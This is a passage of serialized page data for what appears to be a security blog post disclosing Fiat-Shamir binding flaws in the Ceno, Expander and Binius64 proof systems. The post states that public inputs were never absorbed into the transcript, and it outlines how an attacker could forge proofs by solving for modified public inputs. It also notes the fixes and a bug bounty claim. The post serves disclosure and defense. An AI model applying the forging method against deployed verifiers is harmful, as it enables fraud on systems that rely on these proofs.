,[118827,118831,118836,118840,118845],{"type":23,"tag":139,"props":118828,"children":118830},{"className":118829,"style":108792},[2003],[],{"type":23,"tag":139,"props":118832,"children":118834},{"className":118833},[2009,19596],[118835],{"type":28,"value":1123},{"type":23,"tag":139,"props":118837,"children":118839},{"className":118838,"style":2187},[2089],[],{"type":23,"tag":139,"props":118841,"children":118843},{"className":118842},[2192],[118844],{"type":28,"value":1067},{"type":23,"tag":139,"props":118846,"children":118848},{"className":118847,"style":2187},[2089],[],{"type":23,"tag":139,"props":118850,"children":118852},{"className":118851},[1998],[118853,118857],{"type":23,"tag":139,"props":118854,"children":118856},{"className":118855,"style":91982},[2003],[],{"type":23,"tag":139,"props":118858,"children":118860},{"className":118859},[2009],[118861],{"type":28,"value":2021},{"type":23,"tag":801,"props":118863,"children":118864},{},[118865,118867],{"type":28,"value":118866},"Bilinear (from multiset): ",{"type":23,"tag":135,"props":118868,"children":118870},{"className":118869},[1981,1982],[118871],{"type":23,"tag":139,"props":118872,"children":118874},{"className":118873},[1987],[118875],{"type":23,"tag":139,"props":118876,"children":118878},{"className":118877,"ariaHidden":1993},[1992],[118879,118905,118983,119061,119087],{"type":23,"tag":139,"props":118880,"children":118882},{"className":118881},[1998],[118883,118887,118892,118896,118901],{"type":23,"tag":139,"props":118884,"children":118886},{"className":118885,"style":90866},[2003],[],{"type":23,"tag":139,"props":118888,"children":118890},{"className":118889,"style":92380},[2009,19596],[118891],{"type":28,"value":86588},{"type":23,"tag":139,"props":118893,"children":118895},{"className":118894,"style":2090},[2089],[],{"type":23,"tag":139,"props":118897,"children":118899},{"className":118898},[2095],[118900],{"type":28,"value":109213},{"type":23,"tag":139,"props":118902,"children":118904},{"className":118903,"style":2090},[2089],[],{"type":23,"tag":139,"props":118906,"children":118908},{"className":118907},[1998],[118909,118913,118970,118974,118979],{"type":23,"tag":139,"props":118910,"children":118912},{"className":118911,"style":118005},[2003],[],{"type":23,"tag":139,"props":118914,"children":118916},{"className":118915},[2009],[118917,118922],{"type":23,"tag":139,"props":118918,"children":118920},{"className":118919},[2009,19596],[118921],{"type":28,"value":17284},{"type":23,"tag":139,"props":118923,"children":118925},{"className":118924},[2025],[118926],{"type":23,"tag":139,"props":118927,"children":118929},{"className":118928},[2030,19650],[118930,118959],{"type":23,"tag":139,"props":118931,"children":118933},{"className":118932},[2035],[118934,118954],{"type":23,"tag":139,"props":118935,"children":118937},{"className":118936,"style":91003},[2040],[118938],{"type":23,"tag":139,"props":118939,"children":118940},{"style":91007},[118941,118945],{"type":23,"tag":139,"props":118942,"children":118944},{"className":118943,"style":2050},[2049],[],{"type":23,"tag":139,"props":118946,"children":118948},{"className":118947},[2055,2056,2057,2058],[118949],{"type":23,"tag":139,"props":118950,"children":118952},{"className":118951},[2009,2058],[118953],{"type":28,"value":2021},{"type":23,"tag":139,"props":118955,"children":118957},{"className":118956},[19753],[118958],{"type":28,"value":19756},{"type":23,"tag":139,"props":118960,"children":118962},{"className":118961},[2035],[118963],{"type":23,"tag":139,"props":118964,"children":118966},{"className":118965,"style":91034},[2040],[118967],{"type":23,"tag":139,"props":118968,"children":118969},{},[],{"type":23,"tag":139,"props":118971,"children":118973},{"className":118972,"style":2090},[2089],[],{"type":23,"tag":139,"props":118975,"children":118977},{"className":118976},[2095],[118978],{"type":28,"value":109213},{"type":23,"tag":139,"props":118980,"children":118982},{"className":118981,"style":2090},[2089],[],{"type":23,"tag":139,"props":118984,"children":118986},{"className":118985},[1998],[118987,118991,119048,119052,119057],{"type":23,"tag":139,"props":118988,"children":118990},{"className":118989,"style":118559},[2003],[],{"type":23,"tag":139,"props":118992,"children":118994},{"className":118993},[2009],[118995,119000],{"type":23,"tag":139,"props":118996,"children":118998},{"className":118997},[2009,19596],[118999],{"type":28,"value":17284},{"type":23,"tag":139,"props":119001,"children":119003},{"className":119002},[2025],[119004],{"type":23,"tag":139,"props":119005,"children":119007},{"className":119006},[2030,19650],[119008,119037],{"type":23,"tag":139,"props":119009,"children":119011},{"className":119010},[2035],[119012,119032],{"type":23,"tag":139,"props":119013,"children":119015},{"className":119014,"style":91003},[2040],[119016],{"type":23,"tag":139,"props":119017,"children":119018},{"style":91007},[119019,119023],{"type":23,"tag":139,"props":119020,"children":119022},{"className":119021,"style":2050},[2049],[],{"type":23,"tag":139,"props":119024,"children":119026},{"className":119025},[2055,2056,2057,2058],[119027],{"type":23,"tag":139,"props":119028,"children":119030},{"className":119029},[2009,2058],[119031],{"type":28,"value":647},{"type":23,"tag":139,"props":119033,"children":119035},{"className":119034},[19753],[119036],{"type":28,"value":19756},{"type":23,"tag":139,"props":119038,"children":119040},{"className":119039},[2035],[119041],{"type":23,"tag":139,"props":119042,"children":119044},{"className":119043,"style":91034},[2040],[119045],{"type":23,"tag":139,"props":119046,"children":119047},{},[],{"type":23,"tag":139,"props":119049,"children":119051},{"className":119050,"style":2090},[2089],[],{"type":23,"tag":139,"props":119053,"children":119055},{"className":119054},[2095],[119056],{"type":28,"value":2382},{"type":23,"tag":139,"props":119058,"children":119060},{"className":119059,"style":2090},[2089],[],{"type":23,"tag":139,"props":119062,"children":119064},{"className":119063},[1998],[119065,119069,119074,119078,119083],{"type":23,"tag":139,"props":119066,"children":119068},{"className":119067,"style":90866},[2003],[],{"type":23,"tag":139,"props":119070,"children":119072},{"className":119071},[2009,19596],[119073],{"type":28,"value":68466},{"type":23,"tag":139,"props":119075,"children":119077},{"className":119076,"style":2187},[2089],[],{"type":23,"tag":139,"props":119079,"children":119081},{"className":119080},[2192],[119082],{"type":28,"value":1067},{"type":23,"tag":139,"props":119084,"children":119086},{"className":119085,"style":2187},[2089],[],{"type":23,"tag":139,"props":119088,"children":119090},{"className":119089},[1998],[119091,119095],{"type":23,"tag":139,"props":119092,"children":119094},{"className":119093,"style":91982},[2003],[],{"type":23,"tag":139,"props":119096,"children":119098},{"className":119097},[2009],[119099],{"type":28,"value":2021},{"type":23,"tag":24,"props":119101,"children":119102},{},[119103],{"type":28,"value":119104},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":23,"tag":24,"props":119106,"children":119107},{},[119108,119112,119114,119121,119123,119130],{"type":23,"tag":56,"props":119109,"children":119110},{},[119111],{"type":28,"value":114661},{"type":28,"value":119113}," Fixed on March 5, 2026 via ",{"type":23,"tag":64,"props":119115,"children":119118},{"href":119116,"rel":119117},"https://github.com/scroll-tech/ceno/pull/1262",[68],[119119],{"type":28,"value":119120},"PR #1262",{"type":28,"value":119122}," (original report: ",{"type":23,"tag":64,"props":119124,"children":119127},{"href":119125,"rel":119126},"https://github.com/scroll-tech/ceno/issues/1125",[68],[119128],{"type":28,"value":119129},"#1125",{"type":28,"value":1104},{"type":23,"tag":16800,"props":119132,"children":119133},{},[],{"type":23,"tag":666,"props":119135,"children":119137},{"id":119136},"expander-polyhedra",[119138],{"type":28,"value":119139},"Expander (Polyhedra)",{"type":23,"tag":24,"props":119141,"children":119142},{},[119143],{"type":28,"value":119144},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":23,"tag":24,"props":119146,"children":119147},{},[119148],{"type":23,"tag":56,"props":119149,"children":119150},{},[119151],{"type":28,"value":113367},{"type":23,"tag":128,"props":119153,"children":119155},{"code":119154},"Proof (raw bytes, parsed in order):\n    - PCS commitment\n    - Sumcheck round polynomials (for each layer)\n    - Layer claims (claim_x, claim_y)\n    - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n    - public_input    // statement data passed separately\n    - claimed_v       // statement claim passed separately\n",[119156],{"type":23,"tag":135,"props":119157,"children":119158},{"__ignoreMap":7},[119159],{"type":28,"value":119154},{"type":23,"tag":24,"props":119161,"children":119162},{},[119163,119165,119171],{"type":28,"value":119164},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":23,"tag":135,"props":119166,"children":119168},{"className":119167},[],[119169],{"type":28,"value":119170},"eval_cst",{"type":28,"value":119172}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":23,"tag":128,"props":119174,"children":119176},{"code":119175,"language":947,"meta":7,"className":948,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n",[119177],{"type":23,"tag":135,"props":119178,"children":119179},{"__ignoreMap":7},[119180],{"type":23,"tag":139,"props":119181,"children":119182},{"class":141,"line":142},[119183,119187,119192,119197,119201,119205,119209,119213,119218,119222,119227,119232,119236,119241],{"type":23,"tag":139,"props":119184,"children":119185},{"style":294},[119186],{"type":28,"value":74536},{"type":23,"tag":139,"props":119188,"children":119189},{"style":982},[119190],{"type":28,"value":119191}," -=",{"type":23,"tag":139,"props":119193,"children":119194},{"style":305},[119195],{"type":28,"value":119196}," GKRVerifierHelper",{"type":23,"tag":139,"props":119198,"children":119199},{"style":982},[119200],{"type":28,"value":1461},{"type":23,"tag":139,"props":119202,"children":119203},{"style":245},[119204],{"type":28,"value":119170},{"type":23,"tag":139,"props":119206,"children":119207},{"style":259},[119208],{"type":28,"value":262},{"type":23,"tag":139,"props":119210,"children":119211},{"style":982},[119212],{"type":28,"value":1085},{"type":23,"tag":139,"props":119214,"children":119215},{"style":294},[119216],{"type":28,"value":119217},"layer",{"type":23,"tag":139,"props":119219,"children":119220},{"style":982},[119221],{"type":28,"value":73},{"type":23,"tag":139,"props":119223,"children":119224},{"style":259},[119225],{"type":28,"value":119226},"const_, ",{"type":23,"tag":139,"props":119228,"children":119229},{"style":294},[119230],{"type":28,"value":119231},"public_input",{"type":23,"tag":139,"props":119233,"children":119234},{"style":259},[119235],{"type":28,"value":1052},{"type":23,"tag":139,"props":119237,"children":119238},{"style":294},[119239],{"type":28,"value":119240},"sp",{"type":23,"tag":139,"props":119242,"children":119243},{"style":259},[119244],{"type":28,"value":1820},{"type":23,"tag":24,"props":119246,"children":119247},{},[119248,119250,119255],{"type":28,"value":119249},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":23,"tag":135,"props":119251,"children":119253},{"className":119252},[],[119254],{"type":28,"value":119240},{"type":28,"value":18750},{"type":23,"tag":24,"props":119257,"children":119258},{},[119259],{"type":23,"tag":56,"props":119260,"children":119261},{},[119262],{"type":28,"value":119263},"The vulnerability:",{"type":23,"tag":24,"props":119265,"children":119266},{},[119267,119272],{"type":23,"tag":135,"props":119268,"children":119270},{"className":119269},[],[119271],{"type":28,"value":119231},{"type":28,"value":119273}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":23,"tag":24,"props":119275,"children":119276},{},[119277],{"type":23,"tag":429,"props":119278,"children":119281},{"alt":119279,"src":119280},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":23,"tag":24,"props":119283,"children":119284},{},[119285,119286,119291],{"type":28,"value":14625},{"type":23,"tag":135,"props":119287,"children":119289},{"className":119288},[],[119290],{"type":28,"value":119170},{"type":28,"value":119292}," function computes a linear combination:",{"type":23,"tag":24,"props":119294,"children":119295},{},[119296],{"type":23,"tag":135,"props":119297,"children":119299},{"className":119298},[1981,1982],[119300],{"type":23,"tag":139,"props":119301,"children":119303},{"className":119302},[1987],[119304],{"type":23,"tag":139,"props":119305,"children":119307},{"className":119306,"ariaHidden":1993},[1992],[119308,119353,119477],{"type":23,"tag":139,"props":119309,"children":119311},{"className":119310},[1998],[119312,119316,119325,119330,119340,119344,119349],{"type":23,"tag":139,"props":119313,"children":119315},{"className":119314,"style":92364},[2003],[],{"type":23,"tag":139,"props":119317,"children":119319},{"className":119318},[2009,28],[119320],{"type":23,"tag":139,"props":119321,"children":119323},{"className":119322},[2009],[119324],{"type":28,"value":35438},{"type":23,"tag":139,"props":119326,"children":119328},{"className":119327,"style":90951},[2009],[119329],{"type":28,"value":1057},{"type":23,"tag":139,"props":119331,"children":119333},{"className":119332},[2009,28],[119334],{"type":23,"tag":139,"props":119335,"children":119337},{"className":119336},[2009],[119338],{"type":28,"value":119339},"cst",{"type":23,"tag":139,"props":119341,"children":119343},{"className":119342,"style":2187},[2089],[],{"type":23,"tag":139,"props":119345,"children":119347},{"className":119346},[2192],[119348],{"type":28,"value":1067},{"type":23,"tag":139,"props":119350,"children":119352},{"className":119351,"style":2187},[2089],[],{"type":23,"tag":139,"props":119354,"children":119356},{"className":119355},[1998],[119357,119361,119418,119422,119449,119454,119459,119464,119468,119473],{"type":23,"tag":139,"props":119358,"children":119360},{"className":119359,"style":90893},[2003],[],{"type":23,"tag":139,"props":119362,"children":119364},{"className":119363},[19632],[119365,119370],{"type":23,"tag":139,"props":119366,"children":119368},{"className":119367,"style":19639},[19632,19637,19638],[119369],{"type":28,"value":106746},{"type":23,"tag":139,"props":119371,"children":119373},{"className":119372},[2025],[119374],{"type":23,"tag":139,"props":119375,"children":119377},{"className":119376},[2030,19650],[119378,119407],{"type":23,"tag":139,"props":119379,"children":119381},{"className":119380},[2035],[119382,119402],{"type":23,"tag":139,"props":119383,"children":119385},{"className":119384,"style":112158},[2040],[119386],{"type":23,"tag":139,"props":119387,"children":119388},{"style":19663},[119389,119393],{"type":23,"tag":139,"props":119390,"children":119392},{"className":119391,"style":2050},[2049],[],{"type":23,"tag":139,"props":119394,"children":119396},{"className":119395},[2055,2056,2057,2058],[119397],{"type":23,"tag":139,"props":119398,"children":119400},{"className":119399},[2009,19596,2058],[119401],{"type":28,"value":1728},{"type":23,"tag":139,"props":119403,"children":119405},{"className":119404},[19753],[119406],{"type":28,"value":19756},{"type":23,"tag":139,"props":119408,"children":119410},{"className":119409},[2035],[119411],{"type":23,"tag":139,"props":119412,"children":119414},{"className":119413,"style":112438},[2040],[119415],{"type":23,"tag":139,"props":119416,"children":119417},{},[],{"type":23,"tag":139,"props":119419,"children":119421},{"className":119420,"style":2128},[2089],[],{"type":23,"tag":139,"props":119423,"children":119425},{"className":119424},[2009],[119426,119435,119440],{"type":23,"tag":139,"props":119427,"children":119429},{"className":119428},[2009,28],[119430],{"type":23,"tag":139,"props":119431,"children":119433},{"className":119432},[2009],[119434],{"type":28,"value":59575},{"type":23,"tag":139,"props":119436,"children":119438},{"className":119437,"style":90951},[2009],[119439],{"type":28,"value":1057},{"type":23,"tag":139,"props":119441,"children":119443},{"className":119442},[2009,28],[119444],{"type":23,"tag":139,"props":119445,"children":119447},{"className":119446},[2009],[119448],{"type":28,"value":6371},{"type":23,"tag":139,"props":119450,"children":119452},{"className":119451},[19725],[119453],{"type":28,"value":1723},{"type":23,"tag":139,"props":119455,"children":119457},{"className":119456},[2009,19596],[119458],{"type":28,"value":1728},{"type":23,"tag":139,"props":119460,"children":119462},{"className":119461},[19747],[119463],{"type":28,"value":13423},{"type":23,"tag":139,"props":119465,"children":119467},{"className":119466,"style":2090},[2089],[],{"type":23,"tag":139,"props":119469,"children":119471},{"className":119470},[2095],[119472],{"type":28,"value":109213},{"type":23,"tag":139,"props":119474,"children":119476},{"className":119475,"style":2090},[2089],[],{"type":23,"tag":139,"props":119478,"children":119480},{"className":119479},[1998],[119481,119485,119494,119499,119504,119509,119513,119562],{"type":23,"tag":139,"props":119482,"children":119484},{"className":119483,"style":2110},[2003],[],{"type":23,"tag":139,"props":119486,"children":119488},{"className":119487},[2009,28],[119489],{"type":23,"tag":139,"props":119490,"children":119492},{"className":119491},[2009],[119493],{"type":28,"value":110540},{"type":23,"tag":139,"props":119495,"children":119497},{"className":119496},[19725],[119498],{"type":28,"value":262},{"type":23,"tag":139,"props":119500,"children":119502},{"className":119501},[2009,19596],[119503],{"type":28,"value":1728},{"type":23,"tag":139,"props":119505,"children":119507},{"className":119506},[2121],[119508],{"type":28,"value":2124},{"type":23,"tag":139,"props":119510,"children":119512},{"className":119511,"style":2128},[2089],[],{"type":23,"tag":139,"props":119514,"children":119516},{"className":119515},[2009,110100],[119517],{"type":23,"tag":139,"props":119518,"children":119520},{"className":119519},[2030],[119521],{"type":23,"tag":139,"props":119522,"children":119524},{"className":119523},[2035],[119525],{"type":23,"tag":139,"props":119526,"children":119528},{"className":119527,"style":110186},[2040],[119529,119541],{"type":23,"tag":139,"props":119530,"children":119531},{"style":110117},[119532,119536],{"type":23,"tag":139,"props":119533,"children":119535},{"className":119534,"style":110122},[2049],[],{"type":23,"tag":139,"props":119537,"children":119539},{"className":119538,"style":90951},[2009,19596],[119540],{"type":28,"value":91770},{"type":23,"tag":139,"props":119542,"children":119543},{"style":110117},[119544,119548],{"type":23,"tag":139,"props":119545,"children":119547},{"className":119546,"style":110122},[2049],[],{"type":23,"tag":139,"props":119549,"children":119551},{"className":119550,"style":110210},[110140],[119552],{"type":23,"tag":139,"props":119553,"children":119555},{"className":119554,"style":110216},[110215],[119556],{"type":23,"tag":32162,"props":119557,"children":119558},{"xmlns":110220,"width":110221,"height":110222,"style":110223,"viewBox":110224,"preserveAspectRatio":110225},[119559],{"type":23,"tag":110228,"props":119560,"children":119561},{"d":110230},[],{"type":23,"tag":139,"props":119563,"children":119565},{"className":119564},[19747],[119566],{"type":28,"value":1104},{"type":23,"tag":24,"props":119568,"children":119569},{},[119570,119571,119640,119642,119647,119649,119654],{"type":28,"value":113787},{"type":23,"tag":135,"props":119572,"children":119574},{"className":119573},[1981,1982],[119575],{"type":23,"tag":139,"props":119576,"children":119578},{"className":119577},[1987],[119579],{"type":23,"tag":139,"props":119580,"children":119582},{"className":119581,"ariaHidden":1993},[1992],[119583],{"type":23,"tag":139,"props":119584,"children":119586},{"className":119585},[1998],[119587,119591],{"type":23,"tag":139,"props":119588,"children":119590},{"className":119589,"style":110186},[2003],[],{"type":23,"tag":139,"props":119592,"children":119594},{"className":119593},[2009,110100],[119595],{"type":23,"tag":139,"props":119596,"children":119598},{"className":119597},[2030],[119599],{"type":23,"tag":139,"props":119600,"children":119602},{"className":119601},[2035],[119603],{"type":23,"tag":139,"props":119604,"children":119606},{"className":119605,"style":110186},[2040],[119607,119619],{"type":23,"tag":139,"props":119608,"children":119609},{"style":110117},[119610,119614],{"type":23,"tag":139,"props":119611,"children":119613},{"className":119612,"style":110122},[2049],[],{"type":23,"tag":139,"props":119615,"children":119617},{"className":119616,"style":90951},[2009,19596],[119618],{"type":28,"value":91770},{"type":23,"tag":139,"props":119620,"children":119621},{"style":110117},[119622,119626],{"type":23,"tag":139,"props":119623,"children":119625},{"className":119624,"style":110122},[2049],[],{"type":23,"tag":139,"props":119627,"children":119629},{"className":119628,"style":110210},[110140],[119630],{"type":23,"tag":139,"props":119631,"children":119633},{"className":119632,"style":110216},[110215],[119634],{"type":23,"tag":32162,"props":119635,"children":119636},{"xmlns":110220,"width":110221,"height":110222,"style":110223,"viewBox":110224,"preserveAspectRatio":110225},[119637],{"type":23,"tag":110228,"props":119638,"children":119639},{"d":110230},[],{"type":28,"value":119641}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":23,"tag":135,"props":119643,"children":119645},{"className":119644},[],[119646],{"type":28,"value":119231},{"type":28,"value":119648},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":23,"tag":135,"props":119650,"children":119652},{"className":119651},[],[119653],{"type":28,"value":119231},{"type":28,"value":119655}," that makes the verifier's check pass.",{"type":23,"tag":24,"props":119657,"children":119658},{},[119659,119663,119665,119672,119673,119676,119683],{"type":23,"tag":56,"props":119660,"children":119661},{},[119662],{"type":28,"value":114661},{"type":28,"value":119664}," Fixed on 21st January 2026 via ",{"type":23,"tag":64,"props":119666,"children":119669},{"href":119667,"rel":119668},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[68],[119670],{"type":28,"value":119671},"commit 4a8c2be",{"type":28,"value":471},{"type":23,"tag":586,"props":119674,"children":119675},{},[],{"type":23,"tag":64,"props":119677,"children":119680},{"href":119678,"rel":119679},"https://blog.polyhedra.network/expander-bug-bounty/",[68],[119681],{"type":28,"value":119682},"Claimed 500k Bug bounty",{"type":28,"value":119684}," award pending",{"type":23,"tag":16800,"props":119686,"children":119687},{},[],{"type":23,"tag":666,"props":119689,"children":119691},{"id":119690},"binius64",[119692],{"type":28,"value":105794},{"type":23,"tag":24,"props":119694,"children":119695},{},[119696,119698,119825],{"type":28,"value":119697},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":23,"tag":135,"props":119699,"children":119701},{"className":119700},[1981,1982],[119702],{"type":23,"tag":139,"props":119703,"children":119705},{"className":119704},[1987],[119706],{"type":23,"tag":139,"props":119707,"children":119709},{"className":119708,"ariaHidden":1993},[1992],[119710],{"type":23,"tag":139,"props":119711,"children":119713},{"className":119712},[1998],[119714,119719],{"type":23,"tag":139,"props":119715,"children":119718},{"className":119716,"style":119717},[2003],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":23,"tag":139,"props":119720,"children":119722},{"className":119721},[2009],[119723,119730],{"type":23,"tag":139,"props":119724,"children":119727},{"className":119725},[2009,119726],"mathbb",[119728],{"type":28,"value":119729},"F",{"type":23,"tag":139,"props":119731,"children":119733},{"className":119732},[2025],[119734],{"type":23,"tag":139,"props":119735,"children":119737},{"className":119736},[2030,19650],[119738,119813],{"type":23,"tag":139,"props":119739,"children":119741},{"className":119740},[2035],[119742,119808],{"type":23,"tag":139,"props":119743,"children":119745},{"className":119744,"style":110283},[2040],[119746],{"type":23,"tag":139,"props":119747,"children":119749},{"style":119748},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[119750,119754],{"type":23,"tag":139,"props":119751,"children":119753},{"className":119752,"style":2050},[2049],[],{"type":23,"tag":139,"props":119755,"children":119757},{"className":119756},[2055,2056,2057,2058],[119758],{"type":23,"tag":139,"props":119759,"children":119761},{"className":119760},[2009,2058],[119762],{"type":23,"tag":139,"props":119763,"children":119765},{"className":119764},[2009,2058],[119766,119771],{"type":23,"tag":139,"props":119767,"children":119769},{"className":119768},[2009,2058],[119770],{"type":28,"value":1099},{"type":23,"tag":139,"props":119772,"children":119774},{"className":119773},[2025],[119775],{"type":23,"tag":139,"props":119776,"children":119778},{"className":119777},[2030],[119779],{"type":23,"tag":139,"props":119780,"children":119782},{"className":119781},[2035],[119783],{"type":23,"tag":139,"props":119784,"children":119787},{"className":119785,"style":119786},[2040],"height:0.7463em;",[119788],{"type":23,"tag":139,"props":119789,"children":119790},{"style":110408},[119791,119795],{"type":23,"tag":139,"props":119792,"children":119794},{"className":119793,"style":106811},[2049],[],{"type":23,"tag":139,"props":119796,"children":119798},{"className":119797},[2055,106816,106817,2058],[119799],{"type":23,"tag":139,"props":119800,"children":119802},{"className":119801},[2009,2058],[119803],{"type":23,"tag":139,"props":119804,"children":119806},{"className":119805},[2009,2058],[119807],{"type":28,"value":27867},{"type":23,"tag":139,"props":119809,"children":119811},{"className":119810},[19753],[119812],{"type":28,"value":19756},{"type":23,"tag":139,"props":119814,"children":119816},{"className":119815},[2035],[119817],{"type":23,"tag":139,"props":119818,"children":119821},{"className":119819,"style":119820},[2040],"height:0.1776em;",[119822],{"type":23,"tag":139,"props":119823,"children":119824},{},[],{"type":28,"value":119826}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":23,"tag":24,"props":119828,"children":119829},{},[119830,119832,119837],{"type":28,"value":119831},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":23,"tag":56,"props":119833,"children":119834},{},[119835],{"type":28,"value":119836},"Shift Protocol",{"type":28,"value":119838}," efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":23,"tag":24,"props":119840,"children":119841},{},[119842],{"type":23,"tag":56,"props":119843,"children":119844},{},[119845],{"type":28,"value":119263},{"type":23,"tag":24,"props":119847,"children":119848},{},[119849],{"type":28,"value":119850},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":23,"tag":128,"props":119852,"children":119854},{"code":119853,"language":947,"meta":7,"className":948,"style":7},"pub fn verify\u003CF, C>(\n    constraint_system: &ConstraintSystem,\n    public: &[Word],    // \u003C- NEVER ABSORBED\n    // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[119855],{"type":23,"tag":135,"props":119856,"children":119857},{"__ignoreMap":7},[119858,119893,119918,119952,119960],{"type":23,"tag":139,"props":119859,"children":119860},{"class":141,"line":142},[119861,119865,119869,119873,119877,119881,119885,119889],{"type":23,"tag":139,"props":119862,"children":119863},{"style":279},[119864],{"type":28,"value":11701},{"type":23,"tag":139,"props":119866,"children":119867},{"style":279},[119868],{"type":28,"value":11706},{"type":23,"tag":139,"props":119870,"children":119871},{"style":245},[119872],{"type":28,"value":6170},{"type":23,"tag":139,"props":119874,"children":119875},{"style":259},[119876],{"type":28,"value":3808},{"type":23,"tag":139,"props":119878,"children":119879},{"style":305},[119880],{"type":28,"value":119729},{"type":23,"tag":139,"props":119882,"children":119883},{"style":259},[119884],{"type":28,"value":1052},{"type":23,"tag":139,"props":119886,"children":119887},{"style":305},[119888],{"type":28,"value":114180},{"type":23,"tag":139,"props":119890,"children":119891},{"style":259},[119892],{"type":28,"value":4591},{"type":23,"tag":139,"props":119894,"children":119895},{"class":141,"line":151},[119896,119901,119905,119909,119914],{"type":23,"tag":139,"props":119897,"children":119898},{"style":294},[119899],{"type":28,"value":119900},"    constraint_system",{"type":23,"tag":139,"props":119902,"children":119903},{"style":982},[119904],{"type":28,"value":2493},{"type":23,"tag":139,"props":119906,"children":119907},{"style":982},[119908],{"type":28,"value":5144},{"type":23,"tag":139,"props":119910,"children":119911},{"style":305},[119912],{"type":28,"value":119913},"ConstraintSystem",{"type":23,"tag":139,"props":119915,"children":119916},{"style":259},[119917],{"type":28,"value":1488},{"type":23,"tag":139,"props":119919,"children":119920},{"class":141,"line":160},[119921,119925,119929,119933,119937,119942,119947],{"type":23,"tag":139,"props":119922,"children":119923},{"style":294},[119924],{"type":28,"value":5525},{"type":23,"tag":139,"props":119926,"children":119927},{"style":982},[119928],{"type":28,"value":2493},{"type":23,"tag":139,"props":119930,"children":119931},{"style":982},[119932],{"type":28,"value":5144},{"type":23,"tag":139,"props":119934,"children":119935},{"style":259},[119936],{"type":28,"value":1723},{"type":23,"tag":139,"props":119938,"children":119939},{"style":305},[119940],{"type":28,"value":119941},"Word",{"type":23,"tag":139,"props":119943,"children":119944},{"style":259},[119945],{"type":28,"value":119946},"],    ",{"type":23,"tag":139,"props":119948,"children":119949},{"style":958},[119950],{"type":28,"value":119951},"// \u003C- NEVER ABSORBED\n",{"type":23,"tag":139,"props":119953,"children":119954},{"class":141,"line":169},[119955],{"type":23,"tag":139,"props":119956,"children":119957},{"style":958},[119958],{"type":28,"value":119959},"    // ...\n",{"type":23,"tag":139,"props":119961,"children":119962},{"class":141,"line":178},[119963,119967,119971,119975,119979,119984,119988,119992,119996,120000],{"type":23,"tag":139,"props":119964,"children":119965},{"style":259},[119966],{"type":28,"value":1062},{"type":23,"tag":139,"props":119968,"children":119969},{"style":982},[119970],{"type":28,"value":11768},{"type":23,"tag":139,"props":119972,"children":119973},{"style":305},[119974],{"type":28,"value":11773},{"type":23,"tag":139,"props":119976,"children":119977},{"style":259},[119978],{"type":28,"value":3808},{"type":23,"tag":139,"props":119980,"children":119981},{"style":305},[119982],{"type":28,"value":119983},"VerifyOutput",{"type":23,"tag":139,"props":119985,"children":119986},{"style":259},[119987],{"type":28,"value":3808},{"type":23,"tag":139,"props":119989,"children":119990},{"style":305},[119991],{"type":28,"value":119729},{"type":23,"tag":139,"props":119993,"children":119994},{"style":259},[119995],{"type":28,"value":4633},{"type":23,"tag":139,"props":119997,"children":119998},{"style":305},[119999],{"type":28,"value":35288},{"type":23,"tag":139,"props":120001,"children":120002},{"style":259},[120003],{"type":28,"value":3995},{"type":23,"tag":24,"props":120005,"children":120006},{},[120007,120009,120015,120016,120022,120024,120028],{"type":28,"value":120008},"In the shift protocol, challenges ",{"type":23,"tag":135,"props":120010,"children":120012},{"className":120011},[],[120013],{"type":28,"value":120014},"r_j",{"type":28,"value":9002},{"type":23,"tag":135,"props":120017,"children":120019},{"className":120018},[],[120020],{"type":28,"value":120021},"inout_eval_point",{"type":28,"value":120023}," are sampled ",{"type":23,"tag":56,"props":120025,"children":120026},{},[120027],{"type":28,"value":102495},{"type":28,"value":120029}," the public witness is bound.",{"type":23,"tag":24,"props":120031,"children":120032},{},[120033],{"type":23,"tag":56,"props":120034,"children":120035},{},[120036],{"type":28,"value":113383},{"type":23,"tag":24,"props":120038,"children":120039},{},[120040],{"type":23,"tag":429,"props":120041,"children":120044},{"alt":120042,"src":120043},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":23,"tag":24,"props":120046,"children":120047},{},[120048],{"type":28,"value":120049},"During verification",{"type":23,"tag":797,"props":120051,"children":120052},{},[120053,120073,120085,120104],{"type":23,"tag":801,"props":120054,"children":120055},{},[120056,120058,120063,120065,120071],{"type":28,"value":120057},"Sumcheck produces challenge points ",{"type":23,"tag":135,"props":120059,"children":120061},{"className":120060},[],[120062],{"type":28,"value":120014},{"type":28,"value":120064}," (bit indices) and ",{"type":23,"tag":135,"props":120066,"children":120068},{"className":120067},[],[120069],{"type":28,"value":120070},"r_s",{"type":28,"value":120072}," (shift indices)",{"type":23,"tag":801,"props":120074,"children":120075},{},[120076,120078,120083],{"type":28,"value":120077},"Verifier samples ",{"type":23,"tag":135,"props":120079,"children":120081},{"className":120080},[],[120082],{"type":28,"value":120021},{"type":28,"value":120084}," from transcript",{"type":23,"tag":801,"props":120086,"children":120087},{},[120088,120090,120096,120098,120103],{"type":28,"value":120089},"Verifier computes ",{"type":23,"tag":135,"props":120091,"children":120093},{"className":120092},[],[120094],{"type":28,"value":120095},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":28,"value":120097}," using the unbound 